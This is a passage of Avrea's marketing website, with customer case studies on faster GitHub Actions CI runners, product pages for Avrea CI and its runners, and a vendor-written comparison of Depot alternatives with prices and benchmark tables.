recurring reliability issues (jobs queuing without runners and slow runs) triggered an evaluation of alternatives in early June 2026. ## A head-to-head on the production repo Juha ran Avrea against the existing runners on the production backend and compared job-for-job. In a step-level comparison of an identical job on the same vCPU class, Avrea removed about 15 seconds of runner platform overhead per job, with compute-step performance identical. The numbers made the decision easy. Migration was a runner label change per workflow and was done quickly. Production CI moved over within hours of the first test run. Release builds went to Avrea’s Linux ARM runners on Apple M5 Max the same day Juha tried them. The included 25GB of cache doesn’t hurt either. On Blacksmith that was a paid add-on. ## What changed after the switch A month of production data on each side of the migration (successful runs only): - Test feedback: 27% faster at the median (34% at p90) while the suite grew from ~9,700 to ~11,800 tests - Docker builds: the middle half tightened from a 1.4–2.9 min spread to 1.8–2.0 min - Pickup: 16 seconds median from queued to runner start; 98% of ~1,200 jobs within 2 minutes Part of the test feedback gain is shared credit: the precommit pipeline was restructured into parallel stages during the migration, a split that Avrea’s cheap per-job cache restores made viable. Pickup matters just as much. A job stuck in a queue leaves an agent hanging mid-task, just like it does a human. Since the switch, the median wait for a machine is 16 seconds. [Run the same head-to-head on your own repo](https://console.avrea.com)**.** Benchmark Avrea on one workflow and compare the numbers. For current pricing and product differences, see our [Avrea and Blacksmith comparison](https://avrea.com/avrea-vs-blacksmith). > “Avrea's pricing is similar to Blacksmith's, but the runners are faster and the Docker layer caching is more effective. We've also had some queuing with Blacksmith runners where jobs take minutes to start, but with Avrea things have been a breeze so far.” *Juha Litola, Co-founder and Chief Architect, GitHits* [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ## More teams. More results. - Zero Zero's API deploys run 2x faster on Avrea Read the story - Teamspective Teamspective cut median CI time from 10 to 4.5 minutes with Avrea Read the story - Sono Sono’s builds run 1.5x faster after moving from Depot to Avrea Read the story ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/case-studies/luo # Luo's builds run 3x faster on Avrea Luo, a platform for building AI agents in plain language, reduced build times from 9m 18s to 3m 5s with a one-line migration. [Case studies](https://avrea.com/case-studies) Luo, a platform for building AI agents in plain language, reduced build times from 9m 18s to 3m 5s with a one-line migration, accelerating developer feedback without changing their existing CI workflows. ## Results snapshot - Full pipeline: 17m 21s on GitHub Actions, 7m on a 2 vCPU Avrea runner, 3m 59s on 4 vCPU - Migration: one line in the workflow file sped things up considerably and got even more out of their existing cache setup - 10+ minute wait times to deploy a hotfix are gone ## About Luo Luo is an AI workspace that turns natural-language tasks into running systems. Tell it what you want done, such as updating the CRM, preparing a meeting brief, or drafting a status report. Luo plans the work, executes it across the tools your team already uses, including Slack, Gmail, Linear, HubSpot, Salesforce, and dozens more, and keeps adapting as your team’s work evolves. Instead of switching between apps to coordinate work, you tell Luo what needs to happen and it orchestrates the rest. The team building Luo consists of senior engineers. CTO Jaakko Lukkari was previously CTO at Noice and spent years at Unity Technologies building large real-time systems. The team has taken on serious CI infrastructure work in previous roles, and has a clear sense of what it costs in engineering time. The stack is a Go monorepo with Docker-based builds. ## Before Luo’s CI ran on GitHub-hosted runners. With GitHub the build stage alone took 9 minutes 18 seconds. Most of the time was spent on both fetching and building Go modules. Jaakko has dealt with CI problems before. One solution he was considering was to extract BuildKit bind mounts and cache those using GitHub Actions cache, but with the limitations in GitHub cache sizes that would have been a no-go. More advanced means would have meant a custom cache solution taking both time and maintenance effort from a small team. That level of investment wasn’t practical here. A small team with a focused product roadmap can’t afford to lose an engineer to a platform side-quest. The wait was the worst during production fixes, when a 10+ minute gap between spotting a bug and getting the fix live meant actually sweating whether users were hitting the issue. ## After Luo pointed an existing workflow at Avrea. To migrate, they changed one line: `runs-on: avrea-ubuntu-latest`. This allowed Luo to access Avrea’s Go build cache (via GOCACHEPROG) and BuildKit layer caching. Both are standard capabilities on Avrea runners, available by default or configurable manually by setting a couple of environment variables. The build stage went from 9m 18s to 3m 5s. The decrease in build times means that CI actually feels fast and the team doesn’t worry about prod fixes as much anymore. Instead of tuning CI, the team can focus on shipping product. > “Avrea significantly sped up our build times with very little configuration. Instead of spending days tuning CI by ourselves, we just turned on Avrea and got an immediate improvement in run times.” *Jaakko Lukkari, CTO, Luo* [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ## More teams. More results. - Zero Zero's API deploys run 2x faster on Avrea Read the story - Teamspective Teamspective cut median CI time from 10 to 4.5 minutes with Avrea Read the story - GitHits GitHits migrated from Blacksmith to Avrea and cut test feedback time 27% Read the story ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/case-studies/promorepublic # PromoRepublic builds run about 5.7x faster on Avrea PromoRepublic cut build times from about 4 minutes to 42 seconds with a one-line workflow change, about 5.7x faster on Avrea. [Case studies](https://avrea.com/case-studies) PromoRepublic cut build times from about 4 minutes to 42 seconds with a one-line workflow change, about 5.7x faster on Avrea. ## Results snapshot - Reduced execution time from approx. 4 minutes to 42 seconds - Builds ran about 5.7x faster - Adopted Avrea with a one-line workflow change ## About PromoRepublic PromoRepublic helps multi-location brands and franchises manage social media marketing across their local markets. Founded in 2013 by Max Pecherskyi, Val Grabko, and Mike Baranovsky (CTO), the company has strong Ukrainian roots and operates globally with presence across the US and Europe. The platform combines automation, AI, and collaboration tools to help brands scale content creation and distribution efficiently, serving tens of thousands of locations worldwide. ## A one-line workflow change PromoRepublic used GitHub Actions for its builds. Runs took about four minutes before the team switched to Avrea. Adopting Avrea took a one-line change to the workflow. The build then finished in 42 seconds, about 5.7x faster than before. [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ## More teams. More results. - Zero Zero's API deploys run 2x faster on Avrea Read the story - Teamspective Teamspective cut median CI time from 10 to 4.5 minutes with Avrea Read the story - GitHits GitHits migrated from Blacksmith to Avrea and cut test feedback time 27% Read the story ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/case-studies/sono # Sono’s builds run 1.5x faster after moving from Depot to Avrea Sono moved its GitHub Actions workflows from Depot to Avrea in about 15 minutes. A standard-runner build ran 1.5x faster, before further cache tuning. [Case studies](https://avrea.com/case-studies) Sono moved its GitHub Actions workflows from Depot to Avrea in about 15 minutes. A standard-runner build ran 1.5x faster, before further cache tuning. ## Results snapshot - Depot to Avrea migration: about 15 minutes, a couple of pull requests - Standard-runner build: 1.5x faster, from 3 minutes to 2 before cache tuning - Supabase startup step: 2x faster - ARM integration tests run on Apple M5 Max - Workflow changes: Updated runner labels on GitHub Actions ## About Sono Sono (callsono.com) develops AI-powered voice assistants for service businesses. These systems manage high-volume inbound and outbound calls, including booking, routing, confirmations, and follow-ups. Sono’s team consists of senior engineers who have had their share of dealing with CI pains before. Prior to adopting Avrea, Sono utilized Depot and GitHub Actions for CI, alongside AWS Batch for ad hoc workloads. Technical stack GitHub Actions, Supabase/Postgres, ARM-based infrastructure, End-to-end testing suites simulating real AI-driven calls ## CI speed was already a priority Sono’s CI pipeline was already highly optimized, with parallelized builds and multi-core execution. The system supported both continuous build-and-test workflows and end-to-end test suites involving live AI call simulations. ## Migration process Avrea migration was easy: sign in with GitHub, point the runner labels in your workflow files at Avrea. Avrea runs ARM on Apple M5 Max, so Sono had the hardware they wanted in the same shape they already knew. Sono moved the pipeline over in fifteen minutes, across a couple of PRs. Most caching came on without extra setup. ## Build and test results On a standard runner, a build that took three minutes on Depot ran in two on Avrea, and that was before caching was tuned for the repo. The Supabase startup step came up noticeably faster. On the ARM integration suite, which is mostly sleep and timeout waiting by design, there were still clear speedups. Our [Avrea and Depot comparison](https://avrea.com/avrea-vs-depot) covers runner pricing, Docker builds and caching. > “Waiting on CI drives me crazy, so our pipeline was already optimized. Avrea was still clearly faster, and the switch from Depot took a couple of simple PRs.” *Elias Nygrén, Co-founder & CTO, Sono* [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ## More teams. More results. - Zero Zero's API deploys run 2x faster on Avrea Read the story - Teamspective Teamspective cut median CI time from 10 to 4.5 minutes with Avrea Read the story - GitHits GitHits migrated from Blacksmith to Avrea and cut test feedback time 27% Read the story ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/case-studies/syncle # Syncle cuts build times in half with Avrea Syncle’s CI jobs ran about 2x faster after a one-line change to use Avrea runners in GitHub Actions. [Case studies](https://avrea.com/case-studies) Syncle’s CI jobs ran about 2x faster after a one-line change to use Avrea runners in GitHub Actions. ## Results snapshot - CI jobs ran about 2x faster - Adopted Avrea with a one-line workflow change ## About Syncle Syncle helps e-commerce brands and retailers format, manage and distribute product images, videos and data. CTO Denis Demchenko led the evaluation and testing of Avrea. ## Faster jobs in the existing workflow Syncle ran its CI jobs on GitHub Actions, where a typical job took about six minutes. The team changed one line in its workflow to run jobs on Avrea. Those jobs finished in about three minutes. Syncle is also interested in trying [Avrea AI](https://avrea.com/quality), which is in beta. The build-time result above comes from the runner change. [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ## More teams. More results. - Zero Zero's API deploys run 2x faster on Avrea Read the story - Teamspective Teamspective cut median CI time from 10 to 4.5 minutes with Avrea Read the story - GitHits GitHits migrated from Blacksmith to Avrea and cut test feedback time 27% Read the story ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/case-studies/teamspective # Teamspective cut median CI time from 10 to 4.5 minutes with Avrea Teamspective’s median CI run fell from 10 minutes to 4.5 after moving to Avrea. Caching worked without extra setup, and jobs started without a visible queue. [Case studies](https://avrea.com/case-studies) Teamspective’s median CI run fell from 10 minutes to 4.5 after moving to Avrea. Caching worked without extra setup, and jobs started without a visible queue. ## Results snapshot - Median CI run: 10 minutes → 4.5 minutes (2.2x faster) - Jobs start on push, with no visible queue time - Migration: connect GitHub and change the runner labels - Support replies within minutes in a shared Slack channel ## About Teamspective Teamspective is a leadership enablement and people analytics platform. It helps managers act on employee feedback about engagement, performance, and collaboration, using company guidelines. Managers can access it in Slack and Teams. The company was founded in Helsinki by a team of four. Co-founder Ian Tuomi leads technology. Industry HR tech, leadership enablement Stack GitHub Actions, sharded test suite on 4 vCPU Linux runners ## Before: Ten minutes per CI run Teamspective’s application stack includes TypeScript, React, Node.js and PostgreSQL. The team runs a sharded test suite on 4 vCPU Linux runners through GitHub Actions. Teamspective used to run CI on GitHub-hosted runners, with a median run of about ten minutes. Its experienced engineers have plenty of autonomy to make decisions and ship changes quickly. But with pull requests arriving throughout the day, they kept waiting for CI to catch up. Ian Tuomi, who leads technology at Teamspective, wanted to cut that wait. ## Connect GitHub and change the runner labels The team connected its GitHub account to Avrea and changed the runner labels in its workflows. They could keep using GitHub Actions and their existing test setup, with Avrea providing the runners. Caching worked out of the box, so there was no separate cache configuration to sort out before getting started. Ian had a direct line to Avrea’s engineers through a shared Slack channel. Replies came within minutes, and the team followed through quickly. The straightforward setup and responsive support made the switch easy to get going with. ## From ten minutes to four and a half - Median CI run: 10 minutes → 4.5 minutes - Jobs start on push, with no visible queue time CI now takes less than half the time, cutting five and a half minutes from the median run. Jobs start without a visible queue, and the team spends less time waiting for CI to finish. Ian also appreciated the dashboard: job status and overall statistics were easy to see, with detailed logs available when needed. > “It's been working so smoothly that after a while I almost forgot we'd even switched, because I stopped thinking about CI” *Ian Tuomi, Co-founder, Teamspective* [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ## More teams. More results. - Zero Zero's API deploys run 2x faster on Avrea Read the story - GitHits GitHits migrated from Blacksmith to Avrea and cut test feedback time 27% Read the story - Sono Sono’s builds run 1.5x faster after moving from Depot to Avrea Read the story ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/case-studies/zero # Zero's API deploys run 2x faster on Avrea Faster GitHub Actions workflows let Zero keep running the full test suite on every change as agents produce more code. [Case studies](https://avrea.com/case-studies) Faster GitHub Actions workflows let Zero keep running the full test suite on every change as agents produce more code. Engineers wait less, and the team can ship quickly while building a reliable product. ## Results snapshot - One PR typecheck: waiting time cut from five minutes to one - Roughly 2x faster API deployments, with no application code changes - Slowest staging deployment: p90 duration down by two-thirds - More than 2x production shipping frequency over a few months ## About Zero Zero builds an AI-native CRM that brings lead generation, signal tracking, outreach sequencing, and customer management into one workflow driven by agents. Its engineering team uses agents to build the product, too. The application has a Node API layer with Zero’s own ORM and workers that run agent workloads. Everything ships as Docker images to Google Cloud, with Cloud Run for the API and GKE for the workers. Industry CRM and sales software Stack TypeScript monorepo, Node.js, Docker, GitHub Actions, Google Cloud Run and GKE ## A growing test suite put more work on CI The majority of Zero’s code now originates from agents. Code review has also become agentic, and most of the test code is written by agents. Zero’s test suite has grown more than tenfold in a few months. Every change runs the full suite. As the team created more pull requests, it also needed more CI runs to validate them. The speed of those runs determined how soon developers could get feedback on their changes. “The thing we care about is how fast a pull request gets feedback,” Olli says. “All of that work now lands on CI, so CI is what determines how quickly a PR gets an answer.” Zero wanted faster feedback from its existing GitHub Actions workflows. The team looked at Avrea because it could change runners without reworking its build and deployment process. ## A runner change across sixteen workflow files Zero migrated with one pull request, changing ubuntu-latest to avrea-ubuntu-latest across sixteen workflow files. The team kept its existing actions and Docker builds and added no cache configuration. “Avrea promised a drop-in replacement and a 2-3x speedup, and that’s what we got,” Olli says. “Faster is only worth it if it is also boringly reliable,” Olli says. “We also asked what the exit looks like before we moved. With Avrea, it is the same one-line change in reverse. We have never needed it, but knowing the door is open is part of why we moved everything at once.” ## Faster checks and more frequent shipping API deployments became roughly twice as fast without changes to the application code, and admin deployments improved by a similar factor. The p90 duration of Zero’s slowest staging deployment dropped by two-thirds. The difference was particularly clear on a typecheck job that ran on every pull request. Developers had been complaining about the wait on GitHub-hosted runners. Moving that job to Avrea cut the wait from five minutes to one. Zero’s production shipping frequency has more than doubled, while CI runs have more than tripled over a few months. Its workflows have become faster over the same period. Zero runs the full test suite on every change as the volume grows. Fast, affordable CI makes it easier to keep that validation routine when working with agents. See how [Avrea compares with GitHub-hosted runners](https://avrea.com/avrea-vs-github-hosted-runners) on cost, performance and caching. > “When CI is cheap and fast, every change runs the full suite without anyone thinking twice” *Olli Jokinen, Zero* [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ## More teams. More results. - Teamspective Teamspective cut median CI time from 10 to 4.5 minutes with Avrea Read the story - GitHits GitHits migrated from Blacksmith to Avrea and cut test feedback time 27% Read the story - Sono Sono’s builds run 1.5x faster after moving from Depot to Avrea Read the story ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/ci # Faster CI runs and faster fixes Run GitHub Actions workflows faster with parallel steps, shared setup and built-in caching. Test uncommitted code and debug CI through the CLI and API. Avrea CI Beta Run your GitHub Actions workflows faster with parallel steps, shared setup and built-in caching. Test uncommitted code and investigate failures from your terminal or through the API. [Request access](https://avrea.com/request-access/ci) Parallel stepsShared setupBuilt-in cachingTest before you commitBuilt for agentsYour GitHub Actions workflows ## Parallel steps with shared setup Run independent steps in parallel within one job, with one checkout and shared dependencies and caches. ### Steps in order Setup 20s Lint 25s Typecheck 35s Unit tests 55s Integration 50s Total runtime3m 05s ### Parallel steps on Avrea CI Setup 20s Lint 25s Typecheck 35s Unit tests 55s Integration 50s Total runtime1m 15s ### Skip the wait for GitHub Actions Avrea sends jobs straight to its runners, without waiting for GitHub Actions to dispatch them. ### Avrea compute Dedicated hardware, with an isolated VM for each job. ### Built-in caching Reuse dependencies and build outputs from caches colocated with your runners. ## Test before you commit Run CI against your uncommitted changes, directly from your terminal. Uncommitted changes Results BuildTests Commit & push Avrea CI ## Built for agents Run workflows, inspect logs and retrieve results through the CLI and API. Run CI Read failure Fix & rerun ## Independent of GitHub Actions Avrea schedules and runs the jobs itself. Your repository and pull requests can stay on GitHub. GitHubRepository & pull requests Avrea CIScheduling & execution ## Keep your GitHub Actions workflows Use the GitHub Actions syntax you already know, with build and test results reported back to your pull requests. ci.yml ``` jobs: test: steps: - uses: actions/checkout@v4 - run: make test ``` Avrea CI ## Included in runner pricing Use Avrea CI at the same runner rates, with no separate engine fee. [View runner pricing](https://avrea.com/pricing#runner-pricing) ## Get early access to Avrea CI [Request access](https://avrea.com/request-access/ci) --- Source: https://avrea.com/ci-runners # Fast GitHub Actions Runners Build 2x faster than on GitHub-hosted runners on hardware alone, and 10x faster with cache hits. Run CI on Linux, macOS and Windows. GitHub Actions Runners Build 2x faster than on GitHub-hosted runners on hardware alone, and 10x faster with cache hits. Run CI on Linux, macOS and Windows, without managing a runner fleet. [Start free](https://console.avrea.com/) [See pricing](https://avrea.com/pricing) *Linux kernel build, ccache* GitHub Runner · 2 vCPU 27m 23s Avrea Runner · 2 vCPU 9m 3s Avrea Runner · 2 vCPU, cached 24.1s 3.0x faster 68x faster, cached ## Purpose-built hardware for CI runners Dedicated hardware and Avrea’s runner technology deliver 2x faster builds than GitHub-hosted runners on compute alone. - ### Fast CPUs AMD EPYC 4585PX processors for Linux x86 runners and Apple M5 Max for macOS and Linux ARM. - Avrea5,800+ - Cloud VM~3,200 - GitHub~2,500 PassMark single-thread - ### NVMe storage Local NVMe storage for fast cache restores and artifact access. - Avrea~7 GB/s - Cloud VM~2 GB/s - GitHub~0.7 GB/s Sequential read - ### 10 Gbps+ network Fast transfers for dependencies, containers and build artifacts. - Avrea10 Gbps+ - Cloud VM~2 Gbps - GitHub~1 Gbps Sustained throughput - ### Dedicated bare metal Each job runs in an isolated VM on Avrea’s dedicated hardware. Isolated job VM Avrea hardware ### Caching at every layer Builds run 10x faster than on GitHub-hosted runners with cache hits. Avrea caches Git data, packages, Docker layers and build outputs alongside your runners. Package cache 7s from 16s npm, Go, pip, cargo Docker layer cache 4.5s from 111s BuildKit type=gha GitHub Actions cache <5s from 15s actions/setup-node Build cache 13s from 36s Go, Rust, C++, Bazel, Turbo Hit rate94% Storage8 / 25 GB Artifacts12,483 ### Runners for every platform Build and test on Linux, macOS and Windows, with native x86 and ARM runners. - Linux x86 · ARM - macOS Apple Silicon - Windows x86 ## Built for scale Run CI across your organization with high concurrency, private network access and a fully managed runner fleet. ### High concurrency Run large build matrices and test suites in parallel across your repositories. ### Connect to your private network Reach private registries, databases and internal services through your VPN. Set outbound access rules for each organization or repository. ### The benefits of self-hosting, without the maintenance Get dedicated hardware and persistent caches while Avrea handles provisioning, scaling and maintenance. Every job runs in an isolated VM. Avrea CLI $avr workflow run ci.yml $avr run list --json status ### CI from your terminal Trigger workflows, rerun failed jobs and retrieve logs through the Avrea CLI, with structured output for scripts and agents. ## Full CI observability *Job metrics · CPU, memory, disk and network* ### Build times and reliability Track build times, failures and flaky jobs across your repositories. ### Runner right-sizing Avrea checks what each job uses and recommends the right runner size. ### Searchable logs and usage Search step logs, follow live output and track runner usage by workflow. ### Debug a running job SSH into a running job to inspect its environment and investigate failures. [Explore Observability](https://avrea.com/observability) ## Switch runners with a label change Connect Avrea to GitHub and update your workflow’s `runs-on` label. Keep your existing workflows, actions and secrets. [Read the setup guide](https://docs.avrea.com/getting-started/) [See runner pricing](https://avrea.com/pricing) GitHub Actions · runner label jobs: test: - runs-on: ubuntu-latest + runs-on: avrea-ubuntu-latest-2-vcpu ## Lower your CI costs Lower per-minute pricing for Linux x86 runners. Faster builds and cache hits can reduce your billed runtime further. [See runner pricing](https://avrea.com/pricing#runner-pricing) *33% lower per minute* 2 vCPU · Linux x86 · USD Avrea $0.004 / min GitHub $0.006 / min Published list rates · [GitHub pricing](https://docs.github.com/en/billing/reference/actions-runner-pricing) Benchmarks ## Faster builds on Avrea - ### Linux kernel Benchmark study Avrea · cached 24.1s Avrea · cold 9m 3s GitHub Actions 27m 23s Without cache 3.0x faster than GitHub Actions With cache 68x faster than GitHub Actions - ### Bazel Benchmark study Avrea · cached 56.1s Avrea · cold 14m 4s GitHub Actions 37m 10s Without cache 2.6x faster than GitHub Actions With cache 39.7x faster than GitHub Actions - ### Ghostty Benchmark study Avrea · cached 23.0s Avrea · cold 3m 33s GitHub Actions 10m 27s Without cache 2.9x faster than GitHub Actions With cache 27x faster than GitHub Actions - ### Next.js Benchmark study Avrea · cached 1.4s Avrea · cold 1m 23s GitHub Actions 3m 23s Without cache 2.4x faster than GitHub Actions With cache 142x faster than GitHub Actions - ### RisingWave Benchmark study Avrea · cached 1m 52s Avrea · cold 10m 48s GitHub Actions 21m 40s Without cache 2.0x faster than GitHub Actions With cache 11.5x faster than GitHub Actions - ### Kafka Benchmark study Avrea · cached 52.2s Avrea · cold 2m 10s GitHub Actions 5m 44s Without cache 2.6x faster than GitHub Actions With cache 6.6x faster than GitHub Actions View benchmark times as a table Build duration by workload and cache state. Each workload links to its benchmark study. *Benchmark build durations* | Workload | GitHub Actions | Avrea cold | Avrea cached | | --- | --- | --- | --- | | [Linux kernel](https://avrea.com/blog/linux-kernel-ci-benchmark) | 27m 23s | 9m 3s | 24.1s | | [Bazel](https://avrea.com/blog/bazel-ci-benchmark) | 37m 10s | 14m 4s | 56.1s | | [Ghostty](https://avrea.com/blog/ghostty-nix-ci-benchmark) | 10m 27s | 3m 33s | 23.0s | | [Next.js](https://avrea.com/blog/nextjs-turborepo-ci-benchmark) | 3m 23s | 1m 23s | 1.4s | | [RisingWave](https://avrea.com/blog/risingwave-sccache-ci-benchmark) | 21m 40s | 10m 48s | 1m 52s | | [Kafka](https://avrea.com/blog/kafka-gradle-ci-benchmark) | 5m 44s | 2m 10s | 52.2s | Results are specific to each workload, runner configuration and cache state. ## Run your GitHub Actions jobs on Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/contact # Get in touch with Avrea Get in touch with Avrea. Talk to sales, email support, join the community Slack or send us a message. Contact ## Sales Talk to sales about plans and pricing, or book a demo. [hello@avrea.com](mailto:hello@avrea.com) [Talk to sales](https://avrea.com/demo) ## Help and support Ask product questions, report bugs, or leave feedback. [Contact support](mailto:support@avrea.com) ## Join the community Join the Avrea Slack community to ask questions and get support. [Join Slack](https://avrea.com/slack) ## Send us a message Tell us what you need help with. The form is loading. If it does not appear, email us below. You can also email [hello@avrea.com](mailto:hello@avrea.com?subject=Contact%20Avrea). --- Source: https://avrea.com/demo # Book a demo A live walkthrough with one of our engineers: dedicated runners, caching, and how teams speed up their pipelines. Demo ## What you'll get See how Avrea’s runners and caching fit your CI workflows. An engineer will walk through the products you want to try, discuss your build times and help you plan your setup. Tell us what you run today and what you’d like to improve. Share your details, then choose a time on the booking calendar. The form is loading. If it does not appear, email us below. You can also email [hello@avrea.com](mailto:hello@avrea.com?subject=Request%20an%20Avrea%20demo). --- Source: https://avrea.com/depot-alternatives # Depot alternatives for GitHub Actions runners and Docker builds Alternatives to Depot for GitHub Actions runners and Docker builds: Avrea, Blacksmith, WarpBuild, Namespace, Ubicloud, RunsOn and GitHub, with dated prices. Replacing Depot can mean changing your runners, Docker builders or both. Compare the runner costs and where each alternative runs Docker builds. ## Which alternative to pick - Avrea, if build time and no plan fee matter most. It had the fastest ARM builds in RunsOn’s November benchmark, and its x86 rate is $0.004 against Depot’s $0.006. - Ubicloud, if the per-minute rate matters most. - WarpBuild or Namespace, if you want to keep a remote Docker builder. - RunsOn or WarpBuild, if runners have to run in your own cloud account. - GitHub’s larger runners, if you’d rather keep CI with one vendor. ## Runner prices for a 2-vCPU Linux runner Prices checked 11 November 2026. Depot charges $0.006 a minute for 2 vCPU on x86 and ARM alike, after the minutes in a $20 or $200 monthly plan. Avrea, Blacksmith and WarpBuild charge $0.004 for the same x86 size with no plan fee. *Depot alternatives: runner prices for a 2-vCPU Linux runner* | Provider | x86 | ARM | Plan fee | Included | | --- | --- | --- | --- | --- | | Depot | $0.006 | $0.006 | $20 or $200 | 2,000 or 20,000 minutes | | Avrea | $0.004 | $0.012 | None | 3,000 minutes | | Blacksmith | $0.004 | $0.0025 | None | 3,000 minutes | | WarpBuild | $0.004 | $0.003 | None | $10 credit at signup | | Namespace | $0.004 in plan | $0.004 in plan | $0 or $100 | 25,000 minutes on Team | | Ubicloud | $0.00125 | $0.00125 | None | $2.50 credit a month | | RunsOn | AWS price | AWS price | From €300 a year | 15-day trial | | GitHub-hosted | $0.006 | $0.005 | GitHub plan | $12 to $300 of usage | Prices are per minute for a 2-vCPU Linux runner with 8 GB; Blacksmith’s and Ubicloud’s ARM runners have 6 GB. Depot’s plans are $20 for one user and $200 for unlimited users. Namespace charges $0.006 beyond a paid plan’s included minutes, and its $100 Team plan’s 100,000 unit minutes cover 25,000 minutes on 2-vCPU, 8-GB runners. Ubicloud’s premium x86 runners cost $0.002. Avrea’s ARM runners are Apple M5 Max machines. WarpBuild also sells Linux ARM runners on Apple silicon, from 6 vCPU at $0.08 a minute, and Namespace has them in early access; the other ARM runners here use server processors such as Depot’s Graviton4, AmpereOne and Ampere Altra. The build results below show what that difference does to job time, and a job that finishes sooner bills fewer minutes. Rates exclude storage, add-ons and enterprise terms. Each provider converts included usage into runner minutes at its own ratio. Avrea’s monthly credit is equivalent to 3,000 minutes on 2-vCPU Linux x86 runners and is shared with other metered usage, including persistent disks and static IPs. Depot and Avrea meter jobs by the second; GitHub rounds each job up to a whole minute. On macOS, Depot and Avrea both list 8 vCPU and 24 GB for $0.08 a minute, on M4 and Apple M5 Max respectively. Blacksmith (M4) and WarpBuild (M4 Pro or M5 Pro) charge the same for 6 vCPU. Namespace starts at $0.04 for 4 vCPU within a plan, and GitHub’s standard macOS runner is $0.062. Ubicloud and RunsOn have no macOS runners. Sources: [Depot pricing](https://depot.dev/pricing) and [runner types](https://depot.dev/docs/github-actions/runner-types), [Avrea pricing](https://avrea.com/pricing), [Blacksmith pricing](https://www.blacksmith.sh/pricing) and [runner specifications](https://docs.blacksmith.sh/blacksmith-runners/overview), [WarpBuild pricing](https://www.warpbuild.com/pricing), [Namespace pricing](https://namespace.so/pricing), [Ubicloud pricing](https://www.ubicloud.com/docs/about/pricing), [RunsOn pricing](https://runs-on.com/pricing/), [GitHub runner rates](https://docs.github.com/en/billing/reference/actions-runner-pricing) and [included usage](https://docs.github.com/en/billing/concepts/product-billing/github-actions). ## Where Docker builds run Depot sends the build context to a remote builder whose layer cache persists between builds, so the cache doesn’t depend on which runner picked up the job. The alternatives either offer a remote builder of their own or keep builder state on the runner. *Depot alternatives: where Docker builds run* | Provider | Where the build runs | Price | | --- | --- | --- | | Depot | Remote builder, 16 CPU | $0.04 a minute after included minutes | | WarpBuild | Remote builder, from 16 vCPU | From $0.06 a minute | | Namespace | Remote builder | $0.05 a build, or 1,000 on Team | | Avrea | On the runner, persistent disk | $0.50 per GB a month | | Blacksmith | On the runner, sticky disk | $0.50 per GB a month | | Ubicloud, GitHub | On the runner, `type=gha` cache | Within the repository cache | Depot’s builds go through `depot build` or `depot/build-push-action`, with 500 or 5,000 build minutes in the plan. Blacksmith’s sticky disks need its own setup and build actions. Avrea can also export layers to its cache through BuildKit’s `type=gha` backend, inside the 25 GB repository quota. A remote builder moves the CPU-heavy part of a Docker build off the runner. A persistent disk on the runner keeps the same layers without a separate builder service, and the build uses the runner’s own CPUs. In RunsOn’s cold Docker build below, Avrea’s 4-vCPU ARM runner built PostHog’s production image faster than any other ARM runner tested. Sources: [Depot container builds](https://depot.dev/docs/container-builds/overview), [Avrea Docker setup](https://docs.avrea.com/cache/build-cache/docker/) and [persistent disks](https://docs.avrea.com/persistent-disks/), [WarpBuild pricing](https://www.warpbuild.com/pricing), [Namespace pricing](https://namespace.so/pricing), [Blacksmith Docker builds](https://docs.blacksmith.sh/blacksmith-caching/docker-builds), [Ubicloud cache](https://www.ubicloud.com/docs/github-actions-integration/ubicloud-cache), [GitHub included usage](https://docs.github.com/en/billing/concepts/product-billing/github-actions). ## Build and cache results at 4 vCPU RunsOn, a runner vendor that also appears in the table, runs a public benchmark that builds the same projects on every provider’s runners, with its [workflows and method](https://runs-on.com/benchmarks/methodology/) published. The 4 November 2026 run built two projects from a cold start on 4-vCPU, 16-GB runners: the Rust project spotify-player, with its tests and clippy, and PostHog’s production Docker image. The table shows median build times from five runs, and the median time to restore a 4 GB file through `actions/cache` in the 5 November cache test. Depot is not in the benchmark, so there is no like-for-like figure for its runners. *Depot alternatives: build and cache results at 4 vCPU* | 4-vCPU runner | Rust, x86 | Rust, ARM | Docker, x86 | Docker, ARM | Cache, x86 | | --- | --- | --- | --- | --- | --- | | Avrea | 86 s | 77 s | 292 s | 286 s | 11 s | | Blacksmith | 100 s | 243 s | 301 s | 626 s | 12 s | | Namespace | 91 s | 340 s | 280 s | 800 s | 18 s | | WarpBuild | 129 s | 181 s | 447 s | 602 s | 24 s | | RunsOn | 99 s | 106 s | 403 s | 384 s | 7 s | | GitHub-hosted | 213 s | 190 s | 773 s | 599 s | 44 s | | Ubicloud | 139 s | 341 s | 637 s | 821 s | 70 s | Avrea had the fastest ARM build in both projects and the fastest x86 Rust build, while Namespace built the x86 Docker image 12 seconds sooner. Avrea also restored the cache fastest of the hosted providers. These builds start without a warm cache, so they measure the machine and its network rather than cache reuse. Namespace’s ARM row is its AmpereOne runner; its Apple silicon Linux runner, in early access, built the two projects in 81 and 309 seconds. RunsOn’s row is its fastest EC2 instance with an EBS or local NVMe disk in each test, and Ubicloud’s is its standard runner. Namespace’s and WarpBuild’s cache times use GitHub’s cache service, because their own caches need a different action. Where a run failed, the median covers the successful runs. *Data: RunsOn, [benchmarks](https://runs-on.com/benchmarks/) and [cache results](https://runs-on.com/benchmarks/github-actions-cache-performance/), CC BY 4.0. We selected the 4-vCPU rows.* ## The alternatives ### Avrea We build Avrea. It runs GitHub Actions jobs on dedicated machines: Linux 